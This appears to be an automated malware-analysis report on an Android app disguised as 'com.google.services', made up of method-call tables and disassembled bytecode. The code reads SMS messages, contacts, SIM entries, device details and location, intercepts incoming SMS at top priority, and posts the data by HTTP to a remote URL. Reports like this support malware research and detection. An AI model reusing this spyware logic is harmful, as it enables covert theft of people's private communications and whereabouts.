p0 | org.apache.http.client.methods.HttpPost |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.message.BasicHttpResponse |
|
Method: com.google.services.SendInfo.run | Show source |
---|
Method: com.google.services.SendInfo.run | Show source |
---|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Method: com.google.services.SendInfo.run | Show source |
---|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Method: com.google.services.SendInfo.run | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.run | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.run | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.run | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.run | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.run | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.run | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.run | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.run | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.run | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Name | Type | Value |
---|---|---|
p0 | java.lang.String |
|
p1 | java.lang.Integer |
|
Name | Type | Value |
---|---|---|
Return Value | org.apache.http.params.BasicHttpParams |
|
Method: com.google.services.SendInfo.run | Show source |
---|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Method: com.google.services.SendInfo.run | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Integer |
|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Integer |
|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Integer |
|
Method: com.google.services.SendInfo.reSendInfo | Show source |
---|
Name | Type | Value |
---|---|---|
Return Value | java.lang.Integer |
|
19 Executed Methods |
---|
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | new-instance v6, Ljava/lang/StringBuilder; | |
3 | invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V | |
4 | try_start_5: | |
5 | invoke-virtual {p0}, Lcom/google/services/AlarmService;->getContentResolver()Landroid/content/ContentResolver; | |
6 | move-result-object v0 | |
7 | const/4 v1, 0x6 | |
8 | new-array v2, v1, [Ljava/lang/String; | |
9 | const/4 v1, 0x0 | |
11 | const-string v3, "_id" | |
12 | aput-object v3, v2, v1 | |
13 | const/4 v1, 0x1 | |
15 | const-string v3, "address" | |
16 | aput-object v3, v2, v1 | |
17 | const/4 v1, 0x2 | |
19 | const-string v3, "person" | |
20 | aput-object v3, v2, v1 | |
21 | const/4 v1, 0x3 | |
23 | const-string v3, "body" | |
24 | aput-object v3, v2, v1 | |
25 | const/4 v1, 0x4 | |
27 | const-string v3, "date" | |
28 | aput-object v3, v2, v1 | |
29 | const/4 v1, 0x5 | |
31 | const-string v3, "type" | |
32 | aput-object v3, v2, v1 | |
34 | const-string v1, "content://sms/" | |
36 | invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; |
|
37 | move-result-object v1 | |
38 | const/4 v3, 0x0 | |
39 | const/4 v4, 0x0 | |
41 | const-string v5, "date desc" | |
43 | invoke-virtual/range {v0 .. v5}, Landroid/content/ContentResolver;->query(Landroid/net/Uri;[Ljava/lang/String;Ljava/lang/String;[Ljava/lang/String;Ljava/lang/String;)Landroid/database/Cursor; |
|
44 | move-result-object v1 | |
46 | invoke-interface {v1}, Landroid/database/Cursor;->moveToFirst()Z | |
47 | move-result v0 | |
48 | if-eqz v0, :cond_10c | |
50 | const-string v0, "person" | |
52 | invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I |
|
53 | move-result v2 | |
55 | const-string v0, "address" | |
57 | invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I |
|
58 | move-result v3 | |
60 | const-string v0, "body" | |
62 | invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I |
|
63 | move-result v4 | |
65 | const-string v0, "date" | |
67 | invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I |
|
68 | move-result v5 | |
70 | const-string v0, "type" | |
72 | invoke-interface {v1, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I |
|
73 | move-result v7 | |
74 | cond_5c: | |
75 | invoke-interface {v1, v2}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; | |
76 | move-result-object v8 | |
78 | invoke-interface {v1, v3}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; | |
79 | move-result-object v9 | |
81 | invoke-interface {v1, v4}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; | |
82 | move-result-object v10 | |
83 | new-instance v0, Ljava/text/SimpleDateFormat; | |
85 | const-string v11, "yyyy-MM-dd hh:mm:ss" | |
87 | invoke-direct {v0, v11}, Ljava/text/SimpleDateFormat;-><init>(Ljava/lang/String;)V |
|
88 | new-instance v11, Ljava/sql/Date; | |
90 | invoke-interface {v1, v5}, Landroid/database/Cursor;->getString(I)Ljava/lang/String; | |
91 | move-result-object v12 | |
93 | invoke-static {v12}, Ljava/lang/Long;->parseLong(Ljava/lang/String;)J | |
94 | move-result-wide v12 | |
96 | invoke-direct {v11, v12, v13}, Ljava/sql/Date;-><init>(J)V | |
98 | invoke-virtual {v0, v11}, Ljava/text/SimpleDateFormat;->format(Ljava/util/Date;)Ljava/lang/String; | |
99 | move-result-object v11 | |
101 | invoke-interface {v1, v7}, Landroid/database/Cursor;->getInt(I)I | |
102 | move-result v0 | |
103 | const/4 v12, 0x1 | |
104 | if-ne v0, v12, :cond_102 | |
106 | const-string v0, "\u63a5\u6536" | |
107 | goto_89: | |
108 | const-string v12, "\u53d1\u4fe1\u4eba\uff1a" | |
110 | invoke-virtual {v6, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
111 | new-instance v12, Ljava/lang/StringBuilder; | |
113 | invoke-direct {v12}, Ljava/lang/StringBuilder;-><init>()V | |
115 | invoke-virtual {v12, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
116 | move-result-object v8 | |
118 | const-string v12, ",\u7535\u8bdd\u53f7\u7801\uff1a" | |
120 | invoke-virtual {v8, v12}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
121 | move-result-object v8 | |
123 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
124 | move-result-object v8 | |
126 | invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
127 | new-instance v8, Ljava/lang/StringBuilder; | |
129 | invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V | |
131 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
132 | move-result-object v8 | |
134 | const-string v9, ",\u6d88\u606f\u5185\u5bb9\uff1a" | |
136 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
137 | move-result-object v8 | |
139 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
140 | move-result-object v8 | |
142 | invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
143 | new-instance v8, Ljava/lang/StringBuilder; | |
145 | invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V | |
147 | invoke-virtual {v8, v10}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
148 | move-result-object v8 | |
150 | const-string v9, ",\u65f6\u95f4\uff1a" | |
152 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
153 | move-result-object v8 | |
155 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
156 | move-result-object v8 | |
158 | invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
159 | new-instance v8, Ljava/lang/StringBuilder; | |
161 | invoke-direct {v8}, Ljava/lang/StringBuilder;-><init>()V | |
163 | invoke-virtual {v8, v11}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
164 | move-result-object v8 | |
166 | const-string v9, ",\u7c7b\u578b" | |
168 | invoke-virtual {v8, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
169 | move-result-object v8 | |
171 | invoke-virtual {v8}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
172 | move-result-object v8 | |
174 | invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
176 | invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
178 | const-string v0, ";" | |
180 | invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
181 | if-nez v10, :cond_f2 | |
183 | const-string v0, "" | |
184 | cond_f2: | |
185 | invoke-interface {v1}, Landroid/database/Cursor;->moveToNext()Z | |
186 | move-result v0 | |
187 | if-nez v0, :cond_5c | |
188 | goto_f8: | |
189 | const-string v0, "\u5b8c\u6bd5" | |
191 | invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
192 | try_end_fd: | |
193 | invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
194 | move-result-object v0 | |
195 | return-object v0 | |
196 | cond_102: const/4 v12, 0x2 | |
197 | if-ne v0, v12, :cond_108 | |
198 | try_start_105: | |
199 | const-string v0, "\u53d1\u9001" | |
200 | goto/16 :goto_89 | |
201 | cond_108: | |
202 | const-string v0, "" | |
203 | goto/16 :goto_89 | |
204 | cond_10c: | |
205 | const-string v0, "no result!" | |
207 | invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
208 | try_end_111: goto/16 :goto_f8 | |
209 | catch_112: move-exception v0 | |
210 | goto/16 :goto_fd |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
2 | invoke-super {p0}, Landroid/app/Service;->onCreate()V | |
3 | new-instance v0, Landroid/content/IntentFilter; | |
5 | const-string v1, "android.provider.Telephony.SMS_RECEIVED" | |
7 | invoke-direct {v0, v1}, Landroid/content/IntentFilter;-><init>(Ljava/lang/String;)V |
|
8 | const v1, 0x7fffffff | |
10 | invoke-virtual {v0, v1}, Landroid/content/IntentFilter;->setPriority(I)V |
|
11 | new-instance v1, Lcom/google/services/alarmReceiver; | |
13 | invoke-direct {v1}, Lcom/google/services/alarmReceiver;-><init>()V | |
15 | invoke-virtual {p0, v1, v0}, Lcom/google/services/AlarmService;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent; |
|
17 | const-string v0, "location" | |
18 | try_start_1a: | |
19 | invoke-virtual {p0, v0}, Lcom/google/services/AlarmService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object; |
|
20 | move-result-object v0 | |
21 | check-cast v0, Landroid/location/LocationManager; | |
22 | new-instance v1, Landroid/location/Criteria; | |
24 | invoke-direct {v1}, Landroid/location/Criteria;-><init>()V | |
25 | const/4 v2, 0x1 | |
27 | invoke-virtual {v1, v2}, Landroid/location/Criteria;->setAccuracy(I)V |
|
28 | const/4 v2, 0x0 | |
30 | invoke-virtual {v1, v2}, Landroid/location/Criteria;->setAltitudeRequired(Z)V |
|
31 | const/4 v2, 0x0 | |
33 | invoke-virtual {v1, v2}, Landroid/location/Criteria;->setBearingRequired(Z)V |
|
34 | const/4 v2, 0x1 | |
36 | invoke-virtual {v1, v2}, Landroid/location/Criteria;->setCostAllowed(Z)V |
|
37 | const/4 v2, 0x1 | |
39 | invoke-virtual {v1, v2}, Landroid/location/Criteria;->setPowerRequirement(I)V |
|
40 | const/4 v2, 0x1 | |
42 | invoke-virtual {v0, v1, v2}, Landroid/location/LocationManager;->getBestProvider(Landroid/location/Criteria;Z)Ljava/lang/String; |
|
43 | move-result-object v1 | |
45 | invoke-virtual {v0, v1}, Landroid/location/LocationManager;->getLastKnownLocation(Ljava/lang/String;)Landroid/location/Location; |
|
46 | move-result-object v2 | |
48 | invoke-direct {p0, v2}, Lcom/google/services/AlarmService;->updateWithNewLocation(Landroid/location/Location;)V | |
49 | const-wide/16 v2, 0x2710 | |
50 | const/high16 v4, 0x41a0 | |
52 | iget-object v5, p0, Lcom/google/services/AlarmService;->locationListener:Landroid/location/LocationListener; | |
54 | invoke-virtual/range {v0 .. v5}, Landroid/location/LocationManager;->requestLocationUpdates(Ljava/lang/String;JFLandroid/location/LocationListener;)V |
|
55 | goto_4e: iput-object p0, p0, Lcom/google/services/AlarmService;->mContext:Landroid/content/Context; | |
56 | new-instance v0, Ljava/lang/StringBuilder; | |
58 | invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V | |
60 | const-string v1, "mobile:" | |
62 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
63 | move-result-object v0 | |
65 | sget-object v1, Landroid/os/Build;->MODEL:Ljava/lang/String; |
|
67 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
68 | move-result-object v0 | |
70 | const-string v1, ",SDK version:" | |
72 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
73 | move-result-object v0 | |
75 | sget-object v1, Landroid/os/Build$VERSION;->SDK:Ljava/lang/String; |
|
77 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
78 | move-result-object v0 | |
80 | const-string v1, ",OS version:" | |
82 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
83 | move-result-object v0 | |
85 | sget-object v1, Landroid/os/Build$VERSION;->RELEASE:Ljava/lang/String; |
|
87 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
88 | move-result-object v0 | |
90 | const-string v1, "#" | |
92 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; |
|
93 | move-result-object v0 | |
95 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
96 | move-result-object v0 | |
97 | new-instance v1, Ljava/lang/StringBuilder; | |
99 | invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V | |
101 | invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
102 | move-result-object v0 | |
104 | invoke-direct {p0}, Lcom/google/services/AlarmService;->getPhoneContacts()Ljava/lang/String; | |
105 | move-result-object v1 | |
107 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
108 | move-result-object v0 | |
110 | invoke-direct {p0}, Lcom/google/services/AlarmService;->getSIMContacts()Ljava/lang/String; | |
111 | move-result-object v1 | |
113 | invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; | |
114 | move-result-object v0 | |
116 | invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; | |
117 | move-result-object v0 | |
118 | new-instance v1, Landroid/content/Intent; | |
120 | invoke-direct {v1}, Landroid/content/Intent;-><init>()V | |
122 | const-string v2, "com.google.system.receiver" | |
124 | invoke-virtual {v1, v2}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent; |
|
125 | new-instance v2, Landroid/os/Bundle; | |
127 | invoke-direct {v2}, Landroid/os/Bundle;-><init>()V | |
129 | const-string v3, "contact" | |
131 | invoke-virtual {v2, v3, v0}, Landroid/os/Bundle;->putString(Ljava/lang/String;Ljava/lang/String;)V |
|
133 | invoke-virtual {v1, v2}, Landroid/content/Intent;->putExtras(Landroid/os/Bundle;)Landroid/content/Intent; |
|
135 | invoke-virtual {p0, v1}, Lcom/google/services/AlarmService;->sendBroadcast(Landroid/content/Intent;)V |
|
136 | return-void | |
137 | catch_bb: move-exception v0 | |
138 | goto/16 :goto_4e |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .prologue | |
3 | const/4 v0, 0x0 | |
5 | iget-object v1, p0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String; | |
6 | const/4 v2, 0x0 | |
8 | invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z |
|
9 | move-result v1 | |
10 | if-nez v1, :cond_76 | |
11 | try_start_a: new-instance v1, Lorg/apache/http/client/methods/HttpPost; | |
13 | iget-object v2, p0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String; | |
15 | invoke-direct {v1, v2}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V | |
16 | new-instance v2, Ljava/util/ArrayList; | |
18 | invoke-direct {v2}, Ljava/util/ArrayList;-><init>()V | |
19 | new-instance v3, Lorg/apache/http/message/BasicNameValuePair; | |
21 | invoke-virtual {p1}, Ljava/lang/String;->toString()Ljava/lang/String; | |
22 | move-result-object v4 | |
24 | invoke-virtual {p2}, Ljava/lang/String;->toString()Ljava/lang/String; | |
25 | move-result-object v5 | |
27 | invoke-direct {v3, v4, v5}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V | |
29 | invoke-interface {v2, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
30 | new-instance v3, Lorg/apache/http/client/entity/UrlEncodedFormEntity; | |
32 | const-string v4, "UTF-8" | |
34 | invoke-direct {v3, v2, v4}, Lorg/apache/http/client/entity/UrlEncodedFormEntity;-><init>(Ljava/util/List;Ljava/lang/String;)V |
|
36 | invoke-virtual {v1, v3}, Lorg/apache/http/client/methods/HttpPost;->setEntity(Lorg/apache/http/HttpEntity;)V | |
37 | new-instance v2, Lorg/apache/http/impl/client/DefaultHttpClient; | |
39 | invoke-direct {v2}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V | |
41 | invoke-virtual {v2}, Lorg/apache/http/impl/client/DefaultHttpClient;->getParams()Lorg/apache/http/params/HttpParams; | |
42 | move-result-object v3 | |
44 | const-string v4, "http.connection.timeout" | |
45 | const/16 v5, 0x1770 | |
47 | invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
48 | move-result-object v5 | |
50 | invoke-interface {v3, v4, v5}, Lorg/apache/http/params/HttpParams;->setParameter(Ljava/lang/String;Ljava/lang/Object;)Lorg/apache/http/params/HttpParams; |
|
52 | invoke-virtual {v2}, Lorg/apache/http/impl/client/DefaultHttpClient;->getParams()Lorg/apache/http/params/HttpParams; | |
53 | move-result-object v3 | |
55 | const-string v4, "http.socket.timeout" | |
56 | const/16 v5, 0x1770 | |
58 | invoke-static {v5}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
59 | move-result-object v5 | |
61 | invoke-interface {v3, v4, v5}, Lorg/apache/http/params/HttpParams;->setParameter(Ljava/lang/String;Ljava/lang/Object;)Lorg/apache/http/params/HttpParams; |
|
63 | invoke-virtual {v2, v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse; |
|
64 | move-result-object v1 | |
66 | invoke-interface {v1}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine; | |
67 | move-result-object v1 | |
69 | invoke-interface {v1}, Lorg/apache/http/StatusLine;->getStatusCode()I |
|
70 | move-result v1 | |
71 | const/16 v2, 0xc8 | |
72 | if-ne v1, v2, :cond_65 | |
73 | const/4 v0, 0x1 | |
74 | goto_64: return v0 | |
75 | cond_65: | |
76 | const-string v1, "sendInfo" | |
78 | const-string v2, "\u7f51\u7edc\u4e0d\u901a" | |
80 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
81 | try_end_6c: goto/16 :goto_64 | |
82 | catch_6d: move-exception v1 | |
84 | const-string v1, "sendInfo" | |
86 | const-string v2, "\u7f51\u7edc\u4e0d\u901a" | |
88 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
89 | goto/16 :goto_64 | |
90 | cond_76: | |
91 | const-string v1, "sendInfo" | |
93 | const-string v2, "\u7f51\u7edc\u4e0d\u901a" | |
95 | invoke-static {v1, v2}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
96 | goto/16 :goto_64 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .parameter | |
1 | .parameter | |
2 | .prologue | |
3 | monitor-enter p0 | |
4 | try_start_1: new-instance v0, Lorg/apache/http/client/methods/HttpPost; | |
6 | iget-object v1, p0, Lcom/google/services/SendInfo;->urlstr:Ljava/lang/String; | |
8 | invoke-direct {v0, v1}, Lorg/apache/http/client/methods/HttpPost;-><init>(Ljava/lang/String;)V | |
9 | new-instance v1, Ljava/util/ArrayList; | |
11 | invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V | |
12 | new-instance v2, Lorg/apache/http/message/BasicNameValuePair; | |
14 | invoke-virtual {p1}, Ljava/lang/String;->toString()Ljava/lang/String; | |
15 | move-result-object v3 | |
17 | invoke-virtual {p2}, Ljava/lang/String;->toString()Ljava/lang/String; | |
18 | move-result-object v4 | |
20 | invoke-direct {v2, v3, v4}, Lorg/apache/http/message/BasicNameValuePair;-><init>(Ljava/lang/String;Ljava/lang/String;)V | |
22 | invoke-interface {v1, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z | |
23 | try_end_1d: const/4 v2, 0x0 | |
24 | try_start_1e: iput-boolean v2, p0, Lcom/google/services/SendInfo;->okFlag:Z | |
25 | new-instance v2, Lorg/apache/http/client/entity/UrlEncodedFormEntity; | |
27 | const-string v3, "UTF-8" | |
29 | invoke-direct {v2, v1, v3}, Lorg/apache/http/client/entity/UrlEncodedFormEntity;-><init>(Ljava/util/List;Ljava/lang/String;)V |
|
31 | invoke-virtual {v0, v2}, Lorg/apache/http/client/methods/HttpPost;->setEntity(Lorg/apache/http/HttpEntity;)V | |
32 | new-instance v1, Lorg/apache/http/impl/client/DefaultHttpClient; | |
34 | invoke-direct {v1}, Lorg/apache/http/impl/client/DefaultHttpClient;-><init>()V | |
36 | invoke-virtual {v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->getParams()Lorg/apache/http/params/HttpParams; | |
37 | move-result-object v2 | |
39 | const-string v3, "http.connection.timeout" | |
40 | const/16 v4, 0x2710 | |
42 | invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
43 | move-result-object v4 | |
45 | invoke-interface {v2, v3, v4}, Lorg/apache/http/params/HttpParams;->setParameter(Ljava/lang/String;Ljava/lang/Object;)Lorg/apache/http/params/HttpParams; |
|
47 | invoke-virtual {v1}, Lorg/apache/http/impl/client/DefaultHttpClient;->getParams()Lorg/apache/http/params/HttpParams; | |
48 | move-result-object v2 | |
50 | const-string v3, "http.socket.timeout" | |
51 | const/16 v4, 0x2710 | |
53 | invoke-static {v4}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer; |
|
54 | move-result-object v4 | |
56 | invoke-interface {v2, v3, v4}, Lorg/apache/http/params/HttpParams;->setParameter(Ljava/lang/String;Ljava/lang/Object;)Lorg/apache/http/params/HttpParams; |
|
58 | invoke-virtual {v1, v0}, Lorg/apache/http/impl/client/DefaultHttpClient;->execute(Lorg/apache/http/client/methods/HttpUriRequest;)Lorg/apache/http/HttpResponse; |
|
59 | move-result-object v0 | |
61 | invoke-interface {v0}, Lorg/apache/http/HttpResponse;->getStatusLine()Lorg/apache/http/StatusLine; | |
62 | move-result-object v0 | |
64 | invoke-interface {v0}, Lorg/apache/http/StatusLine;->getStatusCode()I |
|
65 | move-result v0 | |
66 | const/16 v1, 0xc8 | |
67 | if-ne v0, v1, :cond_60 | |
68 | const/4 v0, 0x1 | |
69 | iput-boolean v0, p0, Lcom/google/services/SendInfo;->okFlag:Z | |
70 | cond_60: monitor-exit p0 | |
71 | return-void | |
72 | catch_62: move-exception v0 | |
73 | try_start_63: | |
74 | const-string v0, "sendInfo" | |
76 | const-string v1, "\u7f51\u7edc\u4e0d\u901a" | |
78 | invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
79 | try_end_6a: goto/16 :goto_60 | |
80 | catchall_6b: move-exception v0 | |
81 | monitor-exit p0 | |
82 | throw v0 | |
83 | catch_6e: move-exception v0 | |
84 | try_start_6f: | |
85 | const-string v0, "sendInfo" | |
87 | const-string v1, "\u7f51\u7edc\u4e0d\u901a" | |
89 | invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
90 | goto/16 :goto_60 | |
91 | catch_77: move-exception v0 | |
93 | const-string v0, "sendInfo" | |
95 | const-string v1, "\u7f51\u7edc\u4e0d\u901a" | |
97 | invoke-static {v0, v1}, Landroid/util/Log;->i(Ljava/lang/String;Ljava/lang/String;)I |
|
98 | try_end_7f: goto/16 :goto_60 |
APIs |
|
Strings |
|
Position | Instruction | Meta Information |
---|---|---|
0 | .prologue | |
1 | const/4 v3, 0x0 | |
3 | iget-object v0, p0, Lcom/google/services/AlarmService;->mContext:Landroid/content/Context; | |
5 | invoke-virtual {v0}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver; | |
6 | move-result-object v0 | |
8 | const-string v1, "content://icc/adn" | |
10 | invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri; |
|
11 | move-result-object v1 | |
13 | sget-object v2, Lcom/google/services/AlarmService;->PHONES_PROJECTION:[Ljava/lang/String; | |
14 | move-object v4, v3 | |
15 | move-object v5, v3 | |
